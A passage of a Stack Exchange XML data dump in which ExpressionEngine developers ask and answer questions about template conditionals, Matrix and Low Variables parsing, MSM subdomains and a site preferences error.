3.0" />
  <row Id="10780" PostTypeId="2" ParentId="10775" CreationDate="2013-05-28T16:38:57.690" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;A) What is the validity to this request&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't think having a subdomain for blog is better for SEO. Rather than, I always prefer to have SEO friendly URLs for the blogs like yoursiteurl.com/title-of-your-blog which can easily achieved by Pages module.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;B) Would I have to use MSM in order for this to be managed all from&#xA;  the same admin?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you have to use MSM for this to be managed all from the same admin. For the MSM you domains or subdomain will be hosted at same server. See more from here &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/sites/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-28T16:38:57.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10781" PostTypeId="1" CreationDate="2013-05-28T17:12:26.627" Score="1" ViewCount="200" Body="&lt;p&gt;I've got a compound Matrix/tabular data/conditional situation I'm trying to figure out. I have a table displaying a matrix of credits for various people with columns for Year, Project, Role and Awards. In several cases a particular person may always have the same Role. In a some cases a particular person may have no awards.  In each case, that Role and/or Awards column is unnecessary. I would like to use a conditional statement that will:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Determine if all the entries of the Role column are the same and if so, hide that column including the column header.&lt;/li&gt;&#xA;&lt;li&gt;Determine if all the entries of the Awards column are empty, and if so, hide that column including the column header.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can write a conditional on an entry by entry basis to exclude the table cell if it is empty, but that doesn't remove the column, even if they're all empty, because the header is still hard coded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked into using Stash, &lt;a href=&quot;https://github.com/croxton/Stash#expstashset_list-tag-pair&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash#expstashset_list-tag-pair&lt;/a&gt;&#xA;but wanted to know if there was a simpler method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of a page where both the Role and Awards columns would be hidden.&#xA;&lt;a href=&quot;http://toddao.css-staging.com/talent_detail/joe-barnett&quot; rel=&quot;nofollow&quot;&gt;http://toddao.css-staging.com/talent_detail/joe-barnett&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the simplified code&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;creative_talent&quot; dynamic=&quot;yes&quot; limit=&quot;1&quot;}&#xA;        &amp;lt;table&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&amp;lt;th colspan=4&amp;gt;Selected Credits&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;Year&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Project&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Role&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Awards/Nominations&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        {credits}&#xA;        &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;{Year}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{Project}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{Role}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{Awards}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        {/credits}&#xA;        &amp;lt;/table&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any advice would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1561" LastEditorUserId="343" LastEditDate="2013-05-28T20:36:49.227" LastActivityDate="2013-05-28T20:57:54.430" Title="Hide a table column if" Tags="|matrix|conditionals|table|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10782" PostTypeId="2" ParentId="10779" CreationDate="2013-05-28T17:21:57.683" Score="1" Body="&lt;p&gt;Jon,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In EE you can develop a small plugin to display the complete state name. You can have a guide from &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/plugins.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/plugins.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can have plugin tag as &lt;code&gt;{exp:custom_plugin community_state=&quot;{community_state}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the plugin code would be like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Custom_plugin&#xA;{&#xA;    public $return_data = &quot;&quot;;&#xA;    public function __construct()&#xA;    {&#xA;        $community_state = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('community_state');&#xA;        ########&#xA;        Code or query to fetch complete state name with $community_state as $complete_state_name&#xA;        ########&#xA;        $this-&amp;gt;return_data = $complete_state_name;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-28T17:21:57.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10783" PostTypeId="2" ParentId="10748" CreationDate="2013-05-28T17:41:12.607" Score="1" Body="&lt;p&gt;Have you got your cookies set up in admin/config? I've been going through a similar issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check to see if your server I've and computer time are pretty close. It old be that your sessions are a bit lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran through these:&#xA;&lt;a href=&quot;http://cartthrob.com/docs/pages/troubleshooting/#add-to-cart-problems&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/pages/troubleshooting/#add-to-cart-problems&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may well have seen this already. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are ou using msm at all? Or Stash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, it's a long shot, but add parse=&quot;inward&quot; on your item_options. It could be that it's not parsing right.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-05-28T17:41:12.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10784" PostTypeId="2" ParentId="10775" CreationDate="2013-05-28T17:51:03.940" Score="0" Body="&lt;p&gt;I agree with the above answer. I've not read anything about a sub domain being more powerful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might suggest just setting up the URL structure domain.com/blog/title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This vs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blog.domain.com/title - there is no real difference. I can't imagine the search engines ranking one over the other. If you are going to do a huge amount of blogging and article writing, then you may want to split this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We do a fair bit f SEO, and not heard of this. I'd be interested to hearing what others have experienced.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-05-28T17:51:03.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10785" PostTypeId="2" ParentId="10752" CreationDate="2013-05-28T18:05:48.587" Score="1" Body="&lt;p&gt;I think what you'll need to do is add site_id=&quot;site1&quot; to your assets loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;fotoblog&quot; site=&quot;site1|site2&quot; limit=&quot;1&quot;}&#xA; {fotoblog-imagens limit=&quot;1&quot; site=&quot;site1&quot;}{url}{/fotoblog-imagens}&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that should get it working. &lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-05-28T18:05:48.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10786" PostTypeId="1" CreationDate="2013-05-28T18:18:12.737" Score="2" ViewCount="68" Body="&lt;p&gt;I'm having issues with the Member Group Tabs.  My admins are being logged out when they click on menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the issue is on the url tab.  I've tried a variety of urls but nothing works.  Not even the example url : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/admin.php?&amp;amp;D=cp&amp;amp;C=design&amp;amp;M=manager&lt;/p&gt;&#xA;" OwnerUserId="1530" LastEditorUserId="150" LastEditDate="2013-08-11T20:37:25.210" LastActivityDate="2013-08-11T20:38:07.150" Title="Member Group Tabs - Admins being logged out Tab URL" Tags="|regular-expressions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10787" PostTypeId="1" CreationDate="2013-05-28T18:36:59.007" Score="2" ViewCount="249" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://devot-ee.com/add-ons/shine-pdf&quot; rel=&quot;nofollow&quot;&gt;Shine PDF&lt;/a&gt;to convert an EE template to pdf, and I need to figure out how to specify the file name when the pdf is downloaded (it defaults to mpdf.pdf). The docs seem to imply that the  tag is used, but that doesn't seem to be the case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried contacting Shine about it via email and twitter and gotten no response.&#xA;Has anyone who has used Shine PDF successfully specified the document title? Or is anyone familiar enough with the mpdf library to suggest how it can be done?&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2014-06-22T09:35:43.617" Title="Specify PDF filename using Shine PDF plugin" Tags="|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10788" PostTypeId="2" ParentId="10777" CreationDate="2013-05-28T18:53:33.700" Score="0" Body="&lt;p&gt;You should be able to use CartThrob custom data for this in your extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;set_custom_data('item_count_passed', $item_count &amp;lt;= 8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:checkout_form}&#xA;{if custom_data:item_count_passed}&#xA;{if:else}&#xA;{/if}&#xA;{/exp:cartthrob:checkout_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might also want to call this in the cartthrob_add_to_cart_end hook.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-05-28T18:53:33.700" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10789" PostTypeId="1" CreationDate="2013-05-28T19:20:38.160" Score="0" ViewCount="149" Body="&lt;p&gt;I have 2 channels that are both linked to the same category and status group. However, I tried changing/editing the status from the &quot;options&quot; tab after I published my and only one (the current channel that is assigned to the entry) of my two channels are listed. Is there a setting I missed somewhere to allow all of channels to display here or is this not allowed to change after the page is saved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropbox.com/u/1739837/Screenshots/dw.png&quot; rel=&quot;nofollow&quot;&gt;http://dl.dropbox.com/u/1739837/Screenshots/dw.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Structure which may be causing an issue? Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-05-28T20:01:05.590" Title="Channel Type dropdown not showing all channels" Tags="|channel|structure|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10790" PostTypeId="2" ParentId="9878" CreationDate="2013-05-28T19:42:57.073" Score="1" Body="&lt;p&gt;I can say that it doesn't relate to Transcribe. I have a site where randomly some (but not all) the links set with the Wygwam Structure link browser outputs {page_XX} like you are describing. We are not using Transcribe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also on EE 2.5.5, I was on Structure 3.3.8 (now on 3.3.10), and Wygwam 2.7 (now 2.7.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not really sure if the upgrade to Structure or Wygwam has fixed the issue. I don't have a way to reliably reproduce it. But I have seen the issue, and am also concerned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that helps figure things out.&lt;/p&gt;&#xA;" OwnerUserId="1556" LastActivityDate="2013-05-28T19:42:57.073" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10791" PostTypeId="2" ParentId="10789" CreationDate="2013-05-28T20:01:05.590" Score="1" Body="&lt;p&gt;As Derek says, only channels with the same field group settings will be shown in that dropdown. &lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-28T20:01:05.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10793" PostTypeId="1" AcceptedAnswerId="10804" CreationDate="2013-05-28T20:48:39.837" Score="12" ViewCount="26890" Body="&lt;p&gt;I've I clients website which has been working fine, today the site has gone down randomly. I was initially able to access the control panel and all seemed fine, whilst logged in the home page displayed a error 28 message which  understand means the database has run out of room. The client had checked with the host who said all was fine their end. But now the site is displaying &quot;Site Error: Unable to Load Site Preferences; No Preferences Found&quot; and I can't access the control panel any more?? Has anyone got any suggestions of how this could have come about or more importantly how it can be fixed. Many thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2017-01-27T19:54:22.820" Title="Site Error: Unable to Load Site Preferences; No Preferences Found" Tags="|error|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10794" PostTypeId="2" ParentId="10781" CreationDate="2013-05-28T20:57:54.430" Score="1" Body="&lt;p&gt;The item number 2 can be done using the exp:channel:entries and an embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;template_group/.table&quot; has_awards=&quot;{exp:channel:entries channel='creative_talent' limit='1'}{credits search:awards='not IS_EMPTY' limit='1'}yes{/credits}{/exp:channel:entries}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sadly, this doesn't work for number 1. So, I used query module for both. In my sample code, roles are on col_id_26 and awards are on col_id_25. Just replace by the IDs you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;template_group/.table&quot;&#xA;&#xA;    multiple_roles=&quot;{exp:query sql='SELECT row_id FROM exp_channel_titles&#xA;    JOIN exp_matrix_data ON exp_channel_titles.entry_id = exp_matrix_data.entry_id&#xA;    WHERE url_title = '{segment_2}'&#xA;    AND col_id_26 != ''&#xA;    GROUP BY col_id_26&#xA;    LIMIT 2' limit='2'}{total_results}{/exp:query}&quot;&#xA;&#xA;    has_awards=&quot;{exp:query sql='SELECT row_id FROM exp_channel_titles&#xA;    JOIN exp_matrix_data ON exp_channel_titles.entry_id = exp_matrix_data.entry_id&#xA;    WHERE url_title = '{segment_2}'&#xA;    AND col_id_25 != ''&#xA;    LIMIT 1'}yes{/exp:query}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used row_id just to get something from the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;creative_talent&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;table&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th colspan=&quot;{if &quot;{embed:has_awards}&quot; AND &quot;{embed:multiple_roles}&quot;}4{if:elseif &quot;{embed:has_awards}&quot; OR &quot;{embed:multiple_roles}&quot;}3{if:else}2{/if}&quot;&amp;gt;Selected Credits&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;Year&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Project&amp;lt;/th&amp;gt;&#xA;            {if {embed:multiple_roles} &amp;gt; 1}&amp;lt;th&amp;gt;Role&amp;lt;/th&amp;gt;{/if}&#xA;            {if &quot;{embed:has_awards}&quot;}&amp;lt;th&amp;gt;Awards/Nominations&amp;lt;/th&amp;gt;{/if}&#xA;        &amp;lt;/tr&amp;gt;&#xA;        {credits}&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;{Year}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{Project}&amp;lt;/td&amp;gt;&#xA;                {if {embed:multiple_roles} &amp;gt; 1}&amp;lt;td&amp;gt;{Role}&amp;lt;/td&amp;gt;{/if}&#xA;                {if &quot;{embed:has_awards}&quot;}&amp;lt;td&amp;gt;{Awards}&amp;lt;/td&amp;gt;{/if}&#xA;            &amp;lt;/tr&amp;gt;&#xA;        {/credits}&#xA;        &amp;lt;/table&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It Isn't a simple answer, but your need isn't simple either.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-28T20:57:54.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10795" PostTypeId="2" ParentId="10793" CreationDate="2013-05-28T20:58:01.143" Score="2" Body="&lt;p&gt;I had this happen once with a client's site recently. It ended up being the server. It was out of writable space in one of the cache/temp directories. But maybe you can try deleting all EE cache and see where that gets you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We ended up switching hosts for the client and everything is back to normal.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-28T20:58:01.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10797" PostTypeId="1" CreationDate="2013-05-28T23:46:20.090" Score="1" ViewCount="162" Body="&lt;p&gt;I've got a variable set up as a 2-col Matrix for easy editing of days/hours (for being open). I'm wanting to nest this in another variable, that contains the mark-up for this snippet (so-to-speak). I have early parse enabled the Matrix var type but within the &lt;code&gt;{lv_footer}&lt;/code&gt;, it just returns the code as a string from the &quot;nested&quot; var &lt;code&gt;{lv_hours}&lt;/code&gt;. Anyway I can have that parse before the &lt;code&gt;{lv_footer}&lt;/code&gt; is parsed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is code in the lv_footer (saved as file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;hours&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Hours:&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;dl class=&quot;hours&quot;&amp;gt;&#xA;    {exp:low_variables:pair var=&quot;lv_hours&quot;}&#xA;        &amp;lt;dt&amp;gt;{day}&amp;lt;/dt&amp;gt;&#xA;        &amp;lt;dd&amp;gt;{hours}&amp;lt;/dd&amp;gt;&#xA;    {/exp:low_variables:pair}&#xA;    &amp;lt;/dl&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-05-29T10:04:34.073" Title="Nesting a Matrix variable type inside textarea variable (Low Variables)" Tags="|add-on|matrix|low-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10798" PostTypeId="2" ParentId="10729" CreationDate="2013-05-29T01:14:21.667" Score="0" Body="&lt;p&gt;It turns out my server path was incorrect in my config.master.php configuration. Sorry to burn your time on this but I just resolved the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested uploading using Assets and it works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2013-05-29T01:14:21.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10799" PostTypeId="2" ParentId="10797" CreationDate="2013-05-29T01:39:59.310" Score="2" Body="&lt;p&gt;I'm pretty sure this has to do with the way Low Variables parses nested variables. You may need to add both of these variables to the same group and in the right order for them to parse correctly: &lt;code&gt;{lv_footer}&lt;/code&gt; should be above &lt;code&gt;{lv_hours}&lt;/code&gt; in the same group&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;Nesting&lt;/h3&gt;&#xA;&lt;p&gt;[cue Inception music] So, there are three stages at which a Low&#xA;Variable can be parsed:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As early parsed global variables using the variable syntax (stage 1)&lt;/li&gt;&#xA;&lt;li&gt;As tags, single or pair, using the tag syntax (stage 5)&lt;/li&gt;&#xA;&lt;li&gt;As late parsed global variables (the default) using the variable syntax (stage 9).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Looking at these stages, you can always nest variables upwards: 2 in&#xA;1, 3 in 1, and 3 in 2. As noted before, you can also nest 1 in 1, but&#xA;only if they are in the same group and in the right order.&#xA;Theoretically, you can nest 2 in 2, but that might cause your brain to&#xA;melt. Nesting 3 in 3 won’t necessarily break things, but it can lead&#xA;to unexpected results. Nesting 1 in 2, 1 in 3, or 2 in 3 will never&#xA;work.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/blog/parse-order-and-low-variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;More on the parse order&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-05-29T01:39:59.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10800" PostTypeId="2" ParentId="10797" CreationDate="2013-05-29T10:04:34.073" Score="2" Body="&lt;p&gt;If you look at the Nesting quote Siebird posted, you'll also need to know what the different stages (1, 5 and 9) mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stage 1&lt;/strong&gt; is for &lt;strong&gt;early parsed global variables&lt;/strong&gt;: Low Variables with early parsing &lt;em&gt;enabled&lt;/em&gt; and in &lt;em&gt;variable&lt;/em&gt; syntax: &lt;code&gt;{lv_my_variable}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stage 5&lt;/strong&gt; is for &lt;strong&gt;tags&lt;/strong&gt;: Low Variables using the &lt;em&gt;tag&lt;/em&gt; syntax: &lt;code&gt;{exp:low_variables:single var=&quot;lv_my_variable&quot;}&lt;/code&gt;&#xA;&lt;em&gt;Note: Early Parsing has no effect when using the tag syntax!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stage 9&lt;/strong&gt; is for &lt;strong&gt;late parsed global variables&lt;/strong&gt;: Low Variables with early parsing &lt;em&gt;disabled&lt;/em&gt; and in &lt;em&gt;variable&lt;/em&gt; syntax: &lt;code&gt;{lv_my_variable}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means, for your example, that you have 2 vars that are nested. One of them, &lt;code&gt;lv_hours&lt;/code&gt;, needs the &lt;em&gt;tag&lt;/em&gt; syntax, and therefore is parsed at &lt;em&gt;stage 5&lt;/em&gt;. So if you want to nest it inside &lt;code&gt;lv_footer&lt;/code&gt;, you need to parse that one in &lt;em&gt;stage 1&lt;/em&gt;: make sure you use &lt;em&gt;variable&lt;/em&gt; syntax and that early parsing is &lt;em&gt;enabled&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-05-29T10:04:34.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10801" PostTypeId="1" AcceptedAnswerId="10806" CreationDate="2013-05-29T10:23:41.980" Score="0" ViewCount="3033" Body="&lt;p&gt;Does anyone know if something like this is possible:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;choices_events|jobs-opps&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;no&quot; disable=&quot;trackbacks&quot; orderby=&quot;date_time|job-start-date&quot; sort=&quot;asc&quot; paginate=&quot;bottom&quot; status=&quot;open&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot; {if channel_short_name == &quot;jobs-opps&quot;}category=&quot;258&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I've got 2 channel entries that I want to list 'choices_events' and 'jobs-opps'. If the entries are under 'jobs-opps' I only want to display the 'jobs-opps' within the category '258'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above code isn't working for me at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Julie&lt;/p&gt;&#xA;" OwnerUserId="1566" LastActivityDate="2013-05-29T13:30:37.473" Title="If statement within channel tag" Tags="|channel-entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10802" PostTypeId="2" ParentId="10801" CreationDate="2013-05-29T11:02:05.903" Score="2" Body="&lt;p&gt;It is, if you're using a global, segment or embed variable. &lt;code&gt;{channel_short_name}&lt;/code&gt; is a single variable tag within the channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use a conditional based off the &lt;code&gt;{segment_X}&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;choices_events|jobs-opps&quot;&#xA;    show_future_entries=&quot;yes&quot;&#xA;    show_expired=&quot;no&quot;&#xA;    disable=&quot;trackbacks&quot;&#xA;    orderby=&quot;date_time|job-start-date&quot;&#xA;    sort=&quot;asc&quot; paginate=&quot;bottom&quot;&#xA;    status=&quot;open&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    parse=&quot;inward&quot;&#xA;    {if segment_2 == &quot;jobs-opps&quot;}category=&quot;258&quot;{/if}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-05-29T12:30:25.267" LastActivityDate="2013-05-29T12:30:25.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10803" PostTypeId="2" ParentId="10801" CreationDate="2013-05-29T11:16:15.770" Score="0" Body="&lt;p&gt;I think, you can do it without having if condition within the channel entry tag by just having NOT with all the categories except 258 of that channels category group like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;choices_events|jobs-opps&quot; &#xA;    show_future_entries=&quot;yes&quot; &#xA;    show_expired=&quot;no&quot; &#xA;    disable=&quot;trackbacks&quot; &#xA;    orderby=&quot;date_time|job-start-date&quot; &#xA;    sort=&quot;asc&quot; &#xA;    paginate=&quot;bottom&quot; &#xA;    status=&quot;open&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    category=&quot;not 250|251|252|253|254|254|255|256|257|259&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand there may be a number of categories with NOT but you can reduce it by having category_group=&quot;not 1|2|3&quot; parameter.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-29T11:16:15.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10804" PostTypeId="2" ParentId="10793" CreationDate="2013-05-29T12:04:08.777" Score="22" Body="&lt;p&gt;Double check the database.php settings file. It's most likely to be some kinda of database connection issue. It may be that your host has changed the IP of it's DB server or something is blocking the connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See if you can log into the database directly through your hosting control panel or phpMyAdmin with the same credentials. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-29T12:04:08.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10805" PostTypeId="2" ParentId="10681" CreationDate="2013-05-29T12:09:01.903" Score="2" Body="&lt;p&gt;I haven't used that new feature, but it would be the same as the Pages module since we store our data in the same place.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-05-29T12:09:01.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10806" PostTypeId="2" ParentId="10801" CreationDate="2013-05-29T12:56:02.730" Score="1" Body="&lt;p&gt;There's 2 issues here, the first is using a conditional inside the tag parameters, the second is as @Siebird has mentioned, you can't reference {channel_short_name} outside of the channel entries tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution as @Siebird mentioned is to use a segment, which would be preferable, the other is to do another channel entries but that would only work for the embedded approach. For the conditional answer, I've referenced {channel_short_name} which obviously won't work, but I've given a complete solution at the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two possible ways that come to mind to resolving the conditional, the duplicate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel_short_name == &quot;jobs-opps&quot;}&#xA;    {exp:channel:entries channel=&quot;choices_events|jobs-opps&quot; &#xA;        show_future_entries=&quot;yes&quot; show_expired=&quot;no&quot; &#xA;        disable=&quot;trackbacks&quot; orderby=&quot;date_time|job-start-date&quot; &#xA;        sort=&quot;asc&quot; paginate=&quot;bottom&quot; status=&quot;open&quot; dynamic=&quot;no&quot; &#xA;        